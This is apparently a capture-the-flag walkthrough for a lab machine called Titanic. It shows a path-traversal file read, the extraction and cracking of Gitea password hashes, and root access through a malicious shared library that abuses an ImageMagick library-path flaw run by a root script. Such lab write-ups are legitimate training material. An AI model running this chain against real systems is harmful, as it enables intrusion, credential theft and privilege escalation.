```
❯ cat target -l python
File: target

# Nmap 7.95 scan initiated Wed Apr  2 10:37:07 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p
Nmap scan report for 10.10.11.55
Host is up (0.042s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr  2 10:37:17 2025 -- 1 IP address (1 host up) scanned in 10.43 seconds
```

```
❯ gobuster dir -u http://titanic.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,xml -t 200
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://titanic.htb
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html,xml
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download             (Status: 400) [Size: 41]
/book                 (Status: 405) [Size: 153]
```

```
❯ wfuzz -c -u "http://titanic.htb/download?FUZZ=/etc/passwd" -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc 400
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuz
tion for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://titanic.htb/download?FUZZ=/etc/passwd
Total requests: 220559

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000005167:   200        36 L     50 W       1951 Ch     "ticket"
```

Historial | Buscar | Alertas | Output | Spider(Araña) | AJAX Spider | Escaneo Activo

- Alertas (14)
  - Ruta Transversal
    - GET: http://titanic.htb/download?ticket=%2Fetc%2F
  - Ausencia de Tokens Anti-CSRF (2)

Ruta Transversal

URL:	http://titanic.htb/download?ticket=%2Fetc%2Fpasswd
Riesgo:	High
Confianza:	Medium
Parámetro:	ticket
Ataque:	/etc/passwd

titanic.htb/download?ticket=/etc/passwd

_etc_passwd

Completada — 1,9 KB

```
❯ cat _etc_passwd -l python
File: _etc_passwd
1   root:x:0:0:root:/root:/bin/bash
2   daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3   bin:x:2:2:bin:/bin:/usr/sbin/nologin
4   sys:x:3:3:sys:/dev:/usr/sbin/nologin
5   sync:x:4:65534:sync:/bin:/bin/sync
6   games:x:5:60:games:/usr/games:/usr/sbin/nologin
7   man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8   lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9   mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16  irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
17  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19  _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
20  systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
21  systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
22  messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
23  systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
24  pollinate:x:105:1::/var/cache/pollinate:/bin/false
25  sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
26  syslog:x:107:113::/home/syslog:/usr/sbin/nologin
27  uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
28  tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
29  tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
30  landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
31  fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
32  usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
33  developer:x:1000:1000:developer:/home/developer:/bin/bash
34  lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
35  dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
36  _laurel:x:998:998::/var/log/laurel:/bin/false
```

titanic.htb/download?ticket=/home/developer/user.txt

dsAllTheThings Nessus SonarQube CCNA OTW HMVM DL VHB THL R-M THM

_home_developer_user.txt
Archivo movido o desaparecido

```
❯ cat _home_developer_user.txt
File: _home_developer_user.txt
1   7c977ec80da24316c00c83379ee6b20a
```

```
❯ gobuster vhost -u http://titanic.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200 --append-domain -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://titanic.htb
[+] Method:          GET
[+] Threads:         200
[+] Wordlist:        /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.titanic.htb Status: 200 [Size: 13982]
```

titanic.htb/download?ticket=/etc/hosts

dsAllTheThings Nessus SonarQube CCNA OTW HMVM DL VHB THL R-M THM

_etc_hosts
Completada — 250 bytes

```
❯ cat _etc_hosts
File: _etc_hosts
127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

```
GNU nano 8.3                                                    /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.10.11.55 titanic.htb dev.titanic.htb
```

dev.titanic.htb/developer/docker-config/src/branch

dsAllTheThings Nessus SonarQube CCNA

developer / **docker-config**

Código Incidencias Pull Requests

main docker-config / gitea / docker-c

developer 8e543bd431 Add gitea/docker-co

15 lineas | 337 B | YAML

```yaml
version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional f
    volumes:
      - /home/developer/gitea/data:/data
```

titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db

dsAllTheThings Nessus SonarQube CCNA OTW HMVM DL VHB THL R-M THM

_home_developer_gitea_data_gitea_gitea.db
Completada — 2,0 MB

```
❯ cat _home_developer_gitea_data_gitea_gitea.db
File: _home_developer_gitea_data_gitea_gitea.db   <BINARY>
```

```
❯ sqlite3 _home_developer_gitea_data_gitea_gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
access                  oauth2_grant
access_token            org_user
action                  package
action_artifact         package_blob
action_run              package_blob_upload
```

```
sqlite> .schema user
CREATE TABLE `user` (`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, `lower_name` TEXT NOT
e` INTEGER NULL, `email_notifications_preference` TEXT DEFAULT 'enabled' NOT NULL, `passwd`
EGER DEFAULT 0 NOT NULL, `login_type` INTEGER NULL, `login_source` INTEGER DEFAULT 0 NOT NU
rands` TEXT NULL, `salt` TEXT NULL, `language` TEXT NULL, `description` TEXT NULL, `created
visibility` INTEGER NULL, `max_repo_creation` INTEGER DEFAULT -1 NOT NULL, `is_active` INTE
k` INTEGER NULL, `allow_import_local` INTEGER NULL, `allow_create_organization` INTEGER DEF
il` TEXT NOT NULL, `use_custom_avatar` INTEGER NULL, `num_followers` INTEGER NULL, `num_fol
teams` INTEGER NULL, `num_members` INTEGER NULL, `visibility` INTEGER DEFAULT 0 NOT NULL, `
NOT NULL, `theme` TEXT DEFAULT '' NOT NULL, `keep_activity_private` INTEGER DEFAULT 0 NOT N
CREATE UNIQUE INDEX `UQE_user_name` ON `user` (`name`);
CREATE UNIQUE INDEX `UQE_user_lower_name` ON `user` (`lower_name`);
CREATE INDEX `IDX_user_is_active` ON `user` (`is_active`);
CREATE INDEX `IDX_user_created_unix` ON `user` (`created_unix`);
CREATE INDEX `IDX_user_updated_unix` ON `user` (`updated_unix`);
CREATE INDEX `IDX_user_last_login_unix` ON `user` (`last_login_unix`);
```

```
sqlite> SELECT name, passwd, salt FROM user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
heinrich|002c485b81d05781e6903905a4536d4c40cd1ef311388faea1e0ae4bcfb7513de5e30324c0700518c35aef16a004d1f55579|e8f5e3afa2c5302fd90a8fb9d497e4c2
jordan|6603641e18e29e342d985634da65307f09f5d600016c9ee5687266243145 27d67fd1a308709b389495bce84f1079bfef8fbd|11ddb84a90966499934d9035c2a01b5d
lete|0f0df7c88c4dec237d36035ccea1b1a2efda388431a3ac1237e55371f86f6a875b5ccf6d4711fe8bb7c5a7d92872241442c5|b8dc26d526439f6f2f4523fa8ea522a2
```

```
❯ mv _home_developer_gitea_data_gitea_gitea.db gitea.db
```

```
❯ sqlite3 gitea.db .dump > gitea.sql
❯ cat gitea.sql
File: gitea.sql
1  PRAGMA foreign_keys=OFF;
2  BEGIN TRANSACTION;
3  CREATE TABLE `version` (`id` INTEGER PRIMARY KEY AUTOINCREMENT
4  INSERT INTO version VALUES(1,299);
5  CREATE TABLE `access_token` (`id` INTEGER PRIMARY KEY AUTOINCRE
```

```
❯ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -
p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWo2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
heinrich:sha256:50000:6PXjr6LFMC/ZCo+51Jfkwg==:ACxIW4HQV4HmkDkFpFNtTEDNHvMROI+uoeCuS8+3UT3l4wMkwHAFGMNa7xagBNH1VXk=
jordan:sha256:50000:Ed24SpCWZJmTTZA1wqAbXQ==:ZgNkHhjinjQtmFY02mUwfwn11gABbJ7laHJmJDFFJ9Z/0aMIcJs4lJW86E8Qeb/vj70=
lete:sha256:50000:uNwm1SZDn2BvRSP6jqUiog==:Dw33yIxN7CN9NgNczqGxou/aOIQxo6wSN+VTcfhvaodbXM9tRxH+l7fFp9kocLQUQsU=
```

```
❯ hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELO
==========================================================================
* Device #1: cpu-haswell-AMD Ryzen 7 5800X3D 8-Core Processor, 29
```

```
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => ^C
❯ ssh developer@10.10.11.55
developer@10.10.11.55's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
```

```
developer@titanic:/home$ cd /opt
developer@titanic:/opt$ ls
app  containerd  scripts
developer@titanic:/opt$ cd scripts/
developer@titanic:/opt/scripts$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Feb  7 10:37 .
drwxr-xr-x 5 root root 4096 Feb  7 10:37 ..
-rwxr-xr-x 1 root root  167 Feb  3 17:11 identify_images.sh
developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

```
developer@titanic:/opt/scripts$ /usr/bin/magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
```

ImageMagick 7.1.1-35 exploit

Todo Vídeos Imágenes Vídeos cortos Noticias Web Libros

GitHub
https://github.com › advisories · Traducir esta página

Arbitrary Code Execution in `AppImage` version ...

Arbitrary Code Execution in `AppImage` version `ImageMagick`

Moderate **urban-warrior** published **GHSA-8rxc-922v-phg8** on Jul 27, 2024

Package	Affected versions	Patched versions
ImageMagick (App)	<=7.1.1-35	7.1.1-36

Here's the step to reproduce the issue by exploiting `LD_LIBRARY_PATH` when there's an empty path in it:

1. Install the `AppImage` version `ImageMagick` and its dependencies:

```
$ apt-get update && apt-get install -y libfuse2 gcc curl libfontconfig1 libx11-6 libharfbuzz0b libfribidi0
$ curl -fL https://github.com/ImageMagick/ImageMagick/releases/download/7.1.1-35/ImageMagick-d775d2a-gcc-x86_64.AppI
$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp
Compiler: gcc (9.4)
```

2. Create a shared library in the current working directory:

```
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("id");
    exit(0);
}
EOF
```

3. Run the `ImageMagick` with the shared library to verify the command `id` is executed:

```
$ ls -al
total 24
drwxr-xr-x 2 user user  4096 Jul 20 11:53 .
drwxrwxrwt 1 user user  4096 Jul 20 11:53 ..
-rwxr-xr-x 1 user user 16240 Jul 20 11:53 libxcb.so.1
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ magick /dev/null /dev/null
uid=1000(user) gid=1000(user) groups=1000(user)
```

```
developer@titanic:/opt/scripts$ cd /opt/app/static/assets/images/
developer@titanic:/opt/app/static/assets/images$ ls -la
total 1288
drwxrwx--- 2 root developer   4096 Feb  3 17:13 .
drwxr-x--- 3 root developer   4096 Feb  7 10:37 ..
-rw-r----- 1 root developer 291864 Feb  3 17:13 entertainment.jpg
-rw-r----- 1 root developer 280854 Feb  3 17:13 exquisite-dining.jpg
-rw-r----- 1 root developer 209762 Feb  3 17:13 favicon.ico
-rw-r----- 1 root developer 232842 Feb  3 17:13 home.jpg
-rw-r----- 1 root developer 280817 Feb  3 17:13 luxury-cabins.jpg
-rw-r----- 1 root developer    442 Apr  2 11:03 metadata.log
```

```
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
> #include <stdio.h>
> #include <stdlib.h>
> __attribute__((constructor)) void init(){
>     system("cat /root/root.txt > /tmp/root.txt");
>     exit(0);
> }
> EOF
developer@titanic:/opt/app/static/assets/images$ magick /dev/null /dev/null
magick: no decode delegate for this image format `' @ error/constitute.c/ReadImage/746.
developer@titanic:/opt/app/static/assets/images$ ls -la
total 1288
drwxrwx--- 2 root developer   4096 Apr  2 11:08 .
drwxr-x--- 3 root developer   4096 Feb  7 10:37 ..
-rw-r----- 1 root developer 291864 Feb  3 17:13 entertainment.jpg
-rw-r----- 1 root developer 280854 Feb  3 17:13 exquisite-dining.jpg
-rw-r----- 1 root developer 209762 Feb  3 17:13 favicon.ico
-rw-r----- 1 root developer 232842 Feb  3 17:13 home.jpg
-rw-r----- 1 root developer 280817 Feb  3 17:13 luxury-cabins.jpg
-rw-r----- 1 root developer      0 Apr  2 11:08 metadata.log
-rwxr-xr-- 1 root root          33 Apr  2 11:06 root.txt
```

```
developer@titanic:/opt/app/static/assets/images$ cat root.txt
111763628844f3a3e90668a24c2ba707
```